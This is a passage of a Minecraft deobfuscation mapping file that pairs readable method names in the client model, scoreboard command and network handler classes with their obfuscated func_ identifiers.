(FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelEnderman/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelEnderMite/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelEnderMite/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelEnderMite/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelEnderMite/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelGhast/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelGhast/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelGhast/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelGhast/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelGuardian/func_178706_a ()I net/minecraft/client/model/ModelGuardian/func_178706_a ()I +MD: net/minecraft/client/model/ModelGuardian/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelGuardian/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelGuardian/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelGuardian/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelHorse/updateHorseRotation (FFF)F net/minecraft/client/model/ModelHorse/func_110683_a (FFF)F +MD: net/minecraft/client/model/ModelHorse/setBoxRotation (Lnet/minecraft/client/model/ModelRenderer;FFF)V net/minecraft/client/model/ModelHorse/func_110682_a (Lnet/minecraft/client/model/ModelRenderer;FFF)V +MD: net/minecraft/client/model/ModelHorse/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelHorse/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelHorse/setLivingAnimations (Lnet/minecraft/entity/EntityLivingBase;FFF)V net/minecraft/client/model/ModelHorse/func_78086_a (Lnet/minecraft/entity/EntityLivingBase;FFF)V +MD: net/minecraft/client/model/ModelHumanoidHead/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelHumanoidHead/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelHumanoidHead/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelHumanoidHead/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelBiped/postRenderArm (F)V net/minecraft/client/model/ModelBiped/func_178718_a (F)V +MD: net/minecraft/client/model/ModelBiped/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelBiped/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelBiped/setModelAttributes (Lnet/minecraft/client/model/ModelBase;)V net/minecraft/client/model/ModelBiped/func_178686_a (Lnet/minecraft/client/model/ModelBase;)V +MD: net/minecraft/client/model/ModelBiped/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelBiped/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelBiped/setInvisible (Z)V net/minecraft/client/model/ModelBiped/func_178719_a (Z)V +MD: net/minecraft/client/model/ModelMagmaCube/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelMagmaCube/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelMagmaCube/setLivingAnimations (Lnet/minecraft/entity/EntityLivingBase;FFF)V net/minecraft/client/model/ModelMagmaCube/func_78086_a (Lnet/minecraft/entity/EntityLivingBase;FFF)V +MD: net/minecraft/client/model/ModelLeashKnot/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelLeashKnot/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelLeashKnot/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelLeashKnot/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelMinecart/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelMinecart/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelBase/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelBase/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelBase/setModelAttributes (Lnet/minecraft/client/model/ModelBase;)V net/minecraft/client/model/ModelBase/func_178686_a (Lnet/minecraft/client/model/ModelBase;)V +MD: net/minecraft/client/model/ModelBase/copyModelAngles (Lnet/minecraft/client/model/ModelRenderer;Lnet/minecraft/client/model/ModelRenderer;)V net/minecraft/client/model/ModelBase/func_178685_a (Lnet/minecraft/client/model/ModelRenderer;Lnet/minecraft/client/model/ModelRenderer;)V +MD: net/minecraft/client/model/ModelBase/getTextureOffset (Ljava/lang/String;)Lnet/minecraft/client/model/TextureOffset; net/minecraft/client/model/ModelBase/func_78084_a (Ljava/lang/String;)Lnet/minecraft/client/model/TextureOffset; +MD: net/minecraft/client/model/ModelBase/setTextureOffset (Ljava/lang/String;II)V net/minecraft/client/model/ModelBase/func_78085_a (Ljava/lang/String;II)V +MD: net/minecraft/client/model/ModelBase/getRandomModelBox (Ljava/util/Random;)Lnet/minecraft/client/model/ModelRenderer; net/minecraft/client/model/ModelBase/func_85181_a (Ljava/util/Random;)Lnet/minecraft/client/model/ModelRenderer; +MD: net/minecraft/client/model/ModelBase/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelBase/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelBase/setLivingAnimations (Lnet/minecraft/entity/EntityLivingBase;FFF)V net/minecraft/client/model/ModelBase/func_78086_a (Lnet/minecraft/entity/EntityLivingBase;FFF)V +MD: net/minecraft/client/model/ModelOcelot/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelOcelot/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelOcelot/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelOcelot/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelOcelot/setLivingAnimations (Lnet/minecraft/entity/EntityLivingBase;FFF)V net/minecraft/client/model/ModelOcelot/func_78086_a (Lnet/minecraft/entity/EntityLivingBase;FFF)V +MD: net/minecraft/client/model/ModelPlayer/renderRightArm ()V net/minecraft/client/model/ModelPlayer/func_178725_a ()V +MD: net/minecraft/client/model/ModelPlayer/postRenderArm (F)V net/minecraft/client/model/ModelPlayer/func_178718_a (F)V +MD: net/minecraft/client/model/ModelPlayer/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelPlayer/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelPlayer/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelPlayer/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelPlayer/setInvisible (Z)V net/minecraft/client/model/ModelPlayer/func_178719_a (Z)V +MD: net/minecraft/client/model/ModelPlayer/renderLeftArm ()V net/minecraft/client/model/ModelPlayer/func_178726_b ()V +MD: net/minecraft/client/model/ModelPlayer/renderDeadmau5Head (F)V net/minecraft/client/model/ModelPlayer/func_178727_b (F)V +MD: net/minecraft/client/model/ModelPlayer/renderCape (F)V net/minecraft/client/model/ModelPlayer/func_178728_c (F)V +MD: net/minecraft/client/model/TexturedQuad/flipFace ()V net/minecraft/client/model/TexturedQuad/func_78235_a ()V +MD: net/minecraft/client/model/TexturedQuad/draw (Lnet/minecraft/client/renderer/WorldRenderer;F)V net/minecraft/client/model/TexturedQuad/func_178765_a (Lnet/minecraft/client/renderer/WorldRenderer;F)V +MD: net/minecraft/client/model/ModelQuadruped/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelQuadruped/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelQuadruped/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelQuadruped/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelRabbit/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelRabbit/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelRabbit/setRotationOffset (Lnet/minecraft/client/model/ModelRenderer;FFF)V net/minecraft/client/model/ModelRabbit/func_178691_a (Lnet/minecraft/client/model/ModelRenderer;FFF)V +MD: net/minecraft/client/model/ModelRabbit/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelRabbit/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelRabbit/setLivingAnimations (Lnet/minecraft/entity/EntityLivingBase;FFF)V net/minecraft/client/model/ModelRabbit/func_78086_a (Lnet/minecraft/entity/EntityLivingBase;FFF)V +MD: net/minecraft/client/model/ModelSheep1/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelSheep1/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelSheep1/setLivingAnimations (Lnet/minecraft/entity/EntityLivingBase;FFF)V net/minecraft/client/model/ModelSheep1/func_78086_a (Lnet/minecraft/entity/EntityLivingBase;FFF)V +MD: net/minecraft/client/model/ModelSheep2/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelSheep2/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelSheep2/setLivingAnimations (Lnet/minecraft/entity/EntityLivingBase;FFF)V net/minecraft/client/model/ModelSheep2/func_78086_a (Lnet/minecraft/entity/EntityLivingBase;FFF)V +MD: net/minecraft/client/model/ModelSign/renderSign ()V net/minecraft/client/model/ModelSign/func_78164_a ()V +MD: net/minecraft/client/model/ModelSilverfish/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelSilverfish/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelSilverfish/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelSilverfish/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelSkeletonHead/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelSkeletonHead/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelSkeletonHead/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelSkeletonHead/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/command/server/CommandScoreboard/getRequiredPermissionLevel ()I net/minecraft/command/server/CommandScoreboard/func_82362_a ()I +MD: net/minecraft/command/server/CommandScoreboard/getObjective (Ljava/lang/String;Z)Lnet/minecraft/scoreboard/ScoreObjective; net/minecraft/command/server/CommandScoreboard/func_147189_a (Ljava/lang/String;Z)Lnet/minecraft/scoreboard/ScoreObjective; +MD: net/minecraft/command/server/CommandScoreboard/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/server/CommandScoreboard/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandScoreboard/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/server/CommandScoreboard/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/server/CommandScoreboard/func_147184_a (Z)Ljava/util/List; net/minecraft/command/server/CommandScoreboard/func_147184_a (Z)Ljava/util/List; +MD: net/minecraft/command/server/CommandScoreboard/func_175780_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)Z net/minecraft/command/server/CommandScoreboard/func_175780_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)Z +MD: net/minecraft/command/server/CommandScoreboard/addObjective (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V net/minecraft/command/server/CommandScoreboard/func_147193_c (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V +MD: net/minecraft/command/server/CommandScoreboard/isUsernameIndex ([Ljava/lang/String;I)Z net/minecraft/command/server/CommandScoreboard/func_82358_a ([Ljava/lang/String;I)Z +MD: net/minecraft/command/server/CommandScoreboard/getCommandName ()Ljava/lang/String; net/minecraft/command/server/CommandScoreboard/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandScoreboard/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/server/CommandScoreboard/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/command/server/CommandScoreboard/addTeam (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V net/minecraft/command/server/CommandScoreboard/func_147185_d (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V +MD: net/minecraft/command/server/CommandScoreboard/getScoreboard ()Lnet/minecraft/scoreboard/Scoreboard; net/minecraft/command/server/CommandScoreboard/func_147192_d ()Lnet/minecraft/scoreboard/Scoreboard; +MD: net/minecraft/command/server/CommandScoreboard/listObjectives (Lnet/minecraft/command/ICommandSender;)V net/minecraft/command/server/CommandScoreboard/func_147196_d (Lnet/minecraft/command/ICommandSender;)V +MD: net/minecraft/command/server/CommandScoreboard/setTeamOption (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V net/minecraft/command/server/CommandScoreboard/func_147200_e (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V +MD: net/minecraft/command/server/CommandScoreboard/func_175782_e ()Ljava/util/List; net/minecraft/command/server/CommandScoreboard/func_175782_e ()Ljava/util/List; +MD: net/minecraft/command/server/CommandScoreboard/getTeam (Ljava/lang/String;)Lnet/minecraft/scoreboard/ScorePlayerTeam; net/minecraft/command/server/CommandScoreboard/func_147183_a (Ljava/lang/String;)Lnet/minecraft/scoreboard/ScorePlayerTeam; +MD: net/minecraft/command/server/CommandScoreboard/removeTeam (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V net/minecraft/command/server/CommandScoreboard/func_147194_f (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V +MD: net/minecraft/command/server/CommandScoreboard/listTeams (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V net/minecraft/command/server/CommandScoreboard/func_147186_g (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V +MD: net/minecraft/command/server/CommandScoreboard/joinTeam (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V net/minecraft/command/server/CommandScoreboard/func_147190_h (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V +MD: net/minecraft/command/server/CommandScoreboard/removeObjective (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;)V net/minecraft/command/server/CommandScoreboard/func_147191_h (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandScoreboard/leaveTeam (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V net/minecraft/command/server/CommandScoreboard/func_147199_i (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V +MD: net/minecraft/command/server/CommandScoreboard/emptyTeam (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V net/minecraft/command/server/CommandScoreboard/func_147188_j (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V +MD: net/minecraft/command/server/CommandScoreboard/setObjectiveDisplay (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V net/minecraft/command/server/CommandScoreboard/func_147198_k (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V +MD: net/minecraft/command/server/CommandScoreboard/listPlayers (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V net/minecraft/command/server/CommandScoreboard/func_147195_l (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V +MD: net/minecraft/command/server/CommandScoreboard/setPlayer (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V net/minecraft/command/server/CommandScoreboard/func_147197_m (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V +MD: net/minecraft/command/server/CommandScoreboard/resetPlayers (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V net/minecraft/command/server/CommandScoreboard/func_147187_n (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V +MD: net/minecraft/command/server/CommandScoreboard/func_175779_n (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V net/minecraft/command/server/CommandScoreboard/func_175779_n (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V +MD: net/minecraft/command/server/CommandScoreboard/func_175781_o (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V net/minecraft/command/server/CommandScoreboard/func_175781_o (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V +MD: net/minecraft/command/server/CommandScoreboard/func_175778_p (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V net/minecraft/command/server/CommandScoreboard/func_175778_p (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)V +MD: net/minecraft/client/model/ModelSkeleton/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelSkeleton/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelSkeleton/setLivingAnimations (Lnet/minecraft/entity/EntityLivingBase;FFF)V net/minecraft/client/model/ModelSkeleton/func_78086_a (Lnet/minecraft/entity/EntityLivingBase;FFF)V +MD: net/minecraft/client/model/ModelSlime/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelSlime/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelSnowMan/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelSnowMan/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelSnowMan/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelSnowMan/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelSpider/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelSpider/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelSpider/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelSpider/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelSquid/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelSquid/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelSquid/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelSquid/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/PositionTextureVertex/setTexturePosition (FF)Lnet/minecraft/client/model/PositionTextureVertex; net/minecraft/client/model/PositionTextureVertex/func_78240_a (FF)Lnet/minecraft/client/model/PositionTextureVertex; +MD: net/minecraft/client/model/ModelIronGolem/func_78172_a (FF)F net/minecraft/client/model/ModelIronGolem/func_78172_a (FF)F +MD: net/minecraft/client/model/ModelIronGolem/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelIronGolem/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelIronGolem/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelIronGolem/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelIronGolem/setLivingAnimations (Lnet/minecraft/entity/EntityLivingBase;FFF)V net/minecraft/client/model/ModelIronGolem/func_78086_a (Lnet/minecraft/entity/EntityLivingBase;FFF)V +MD: net/minecraft/client/model/ModelVillager/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelVillager/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelVillager/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelVillager/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelZombieVillager/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelZombieVillager/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelWitch/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelWitch/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelWither/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelWither/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelWither/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelWither/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelWither/setLivingAnimations (Lnet/minecraft/entity/EntityLivingBase;FFF)V net/minecraft/client/model/ModelWither/func_78086_a (Lnet/minecraft/entity/EntityLivingBase;FFF)V +MD: net/minecraft/client/model/ModelWolf/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelWolf/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelWolf/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelWolf/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelWolf/setLivingAnimations (Lnet/minecraft/entity/EntityLivingBase;FFF)V net/minecraft/client/model/ModelWolf/func_78086_a (Lnet/minecraft/entity/EntityLivingBase;FFF)V +MD: net/minecraft/client/model/ModelZombie/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelZombie/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelDragon/updateRotations (D)F net/minecraft/client/model/ModelDragon/func_78214_a (D)F +MD: net/minecraft/client/model/ModelDragon/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelDragon/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelDragon/setLivingAnimations (Lnet/minecraft/entity/EntityLivingBase;FFF)V net/minecraft/client/model/ModelDragon/func_78086_a (Lnet/minecraft/entity/EntityLivingBase;FFF)V +MD: net/minecraft/client/model/ModelEnderCrystal/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelEnderCrystal/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelBox/render (Lnet/minecraft/client/renderer/WorldRenderer;F)V net/minecraft/client/model/ModelBox/func_178780_a (Lnet/minecraft/client/renderer/WorldRenderer;F)V +MD: net/minecraft/client/model/ModelBox/setBoxName (Ljava/lang/String;)Lnet/minecraft/client/model/ModelBox; net/minecraft/client/model/ModelBox/func_78244_a (Ljava/lang/String;)Lnet/minecraft/client/model/ModelBox; +MD: net/minecraft/client/model/ModelRenderer/render (F)V net/minecraft/client/model/ModelRenderer/func_78785_a (F)V +MD: net/minecraft/client/model/ModelRenderer/setRotationPoint (FFF)V net/minecraft/client/model/ModelRenderer/func_78793_a (FFF)V +MD: net/minecraft/client/model/ModelRenderer/addBox (FFFIII)Lnet/minecraft/client/model/ModelRenderer; net/minecraft/client/model/ModelRenderer/func_78789_a (FFFIII)Lnet/minecraft/client/model/ModelRenderer; +MD: net/minecraft/client/model/ModelRenderer/addBox (FFFIIIF)V net/minecraft/client/model/ModelRenderer/func_78790_a (FFFIIIF)V +MD: net/minecraft/client/model/ModelRenderer/addBox (FFFIIIZ)Lnet/minecraft/client/model/ModelRenderer; net/minecraft/client/model/ModelRenderer/func_178769_a (FFFIIIZ)Lnet/minecraft/client/model/ModelRenderer; +MD: net/minecraft/client/model/ModelRenderer/setTextureOffset (II)Lnet/minecraft/client/model/ModelRenderer; net/minecraft/client/model/ModelRenderer/func_78784_a (II)Lnet/minecraft/client/model/ModelRenderer; +MD: net/minecraft/client/model/ModelRenderer/addChild (Lnet/minecraft/client/model/ModelRenderer;)V net/minecraft/client/model/ModelRenderer/func_78792_a (Lnet/minecraft/client/model/ModelRenderer;)V +MD: net/minecraft/client/model/ModelRenderer/addBox (Ljava/lang/String;FFFIII)Lnet/minecraft/client/model/ModelRenderer; net/minecraft/client/model/ModelRenderer/func_78786_a (Ljava/lang/String;FFFIII)Lnet/minecraft/client/model/ModelRenderer; +MD: net/minecraft/client/model/ModelRenderer/renderWithRotation (F)V net/minecraft/client/model/ModelRenderer/func_78791_b (F)V +MD: net/minecraft/client/model/ModelRenderer/setTextureSize (II)Lnet/minecraft/client/model/ModelRenderer; net/minecraft/client/model/ModelRenderer/func_78787_b (II)Lnet/minecraft/client/model/ModelRenderer; +MD: net/minecraft/client/model/ModelRenderer/postRender (F)V net/minecraft/client/model/ModelRenderer/func_78794_c (F)V +MD: net/minecraft/client/model/ModelRenderer/compileDisplayList (F)V net/minecraft/client/model/ModelRenderer/func_78788_d (F)V +MD: net/minecraft/client/network/NetHandlerLoginClient$1/operationComplete (Lio/netty/util/concurrent/Future;)V net/minecraft/client/network/NetHandlerLoginClient$1/operationComplete (Lio/netty/util/concurrent/Future;)V +MD: net/minecraft/client/network/NetHandlerLoginClient/access$000 (Lnet/minecraft/client/network/NetHandlerLoginClient;)Lnet/minecraft/network/NetworkManager; net/minecraft/client/network/NetHandlerLoginClient/access$000 (Lnet/minecraft/client/network/NetHandlerLoginClient;)Lnet/minecraft/network/NetworkManager; +MD: net/minecraft/client/network/NetHandlerLoginClient/onDisconnect (Lnet/minecraft/util/IChatComponent;)V net/minecraft/client/network/NetHandlerLoginClient/func_147231_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/client/network/NetHandlerLoginClient/handleLoginSuccess (Lnet/minecraft/network/login/server/S02PacketLoginSuccess;)V net/minecraft/client/network/NetHandlerLoginClient/func_147390_a (Lnet/minecraft/network/login/server/S02PacketLoginSuccess;)V +MD: net/minecraft/client/network/NetHandlerLoginClient/handleEncryptionRequest (Lnet/minecraft/network/login/server/S01PacketEncryptionRequest;)V net/minecraft/client/network/NetHandlerLoginClient/func_147389_a (Lnet/minecraft/network/login/server/S01PacketEncryptionRequest;)V +MD: net/minecraft/client/network/NetHandlerLoginClient/handleEnableCompression (Lnet/minecraft/network/login/server/S03PacketEnableCompression;)V net/minecraft/client/network/NetHandlerLoginClient/func_180464_a (Lnet/minecraft/network/login/server/S03PacketEnableCompression;)V +MD: net/minecraft/client/network/NetHandlerLoginClient/handleDisconnect (Lnet/minecraft/network/login/server/S00PacketDisconnect;)V net/minecraft/client/network/NetHandlerLoginClient/func_147388_a (Lnet/minecraft/network/login/server/S00PacketDisconnect;)V +MD: net/minecraft/client/network/NetHandlerLoginClient/getSessionService ()Lcom/mojang/authlib/minecraft/MinecraftSessionService; net/minecraft/client/network/NetHandlerLoginClient/func_147391_c ()Lcom/mojang/authlib/minecraft/MinecraftSessionService; +MD: net/minecraft/client/network/NetHandlerPlayClient$1/onFailure (Ljava/lang/Throwable;)V net/minecraft/client/network/NetHandlerPlayClient$1/onFailure (Ljava/lang/Throwable;)V +MD: net/minecraft/client/network/NetHandlerPlayClient$1/onSuccess (Ljava/lang/Object;)V net/minecraft/client/network/NetHandlerPlayClient$1/onSuccess (Ljava/lang/Object;)V +MD: net/minecraft/client/network/NetHandlerPlayClient$2/onFailure (Ljava/lang/Throwable;)V net/minecraft/client/network/NetHandlerPlayClient$2/onFailure (Ljava/lang/Throwable;)V +MD: net/minecraft/client/network/NetHandlerPlayClient$2/onSuccess (Ljava/lang/Object;)V net/minecraft/client/network/NetHandlerPlayClient$2/onSuccess (Ljava/lang/Object;)V +MD: net/minecraft/client/network/NetHandlerPlayClient$3$1$1/onFailure (Ljava/lang/Throwable;)V net/minecraft/client/network/NetHandlerPlayClient$3$1$1/onFailure (Ljava/lang/Throwable;)V +MD: net/minecraft/client/network/NetHandlerPlayClient$3$1$1/onSuccess (Ljava/lang/Object;)V net/minecraft/client/network/NetHandlerPlayClient$3$1$1/onSuccess (Ljava/lang/Object;)V +MD: net/minecraft/client/network/NetHandlerPlayClient$3$1/confirmClicked (ZI)V 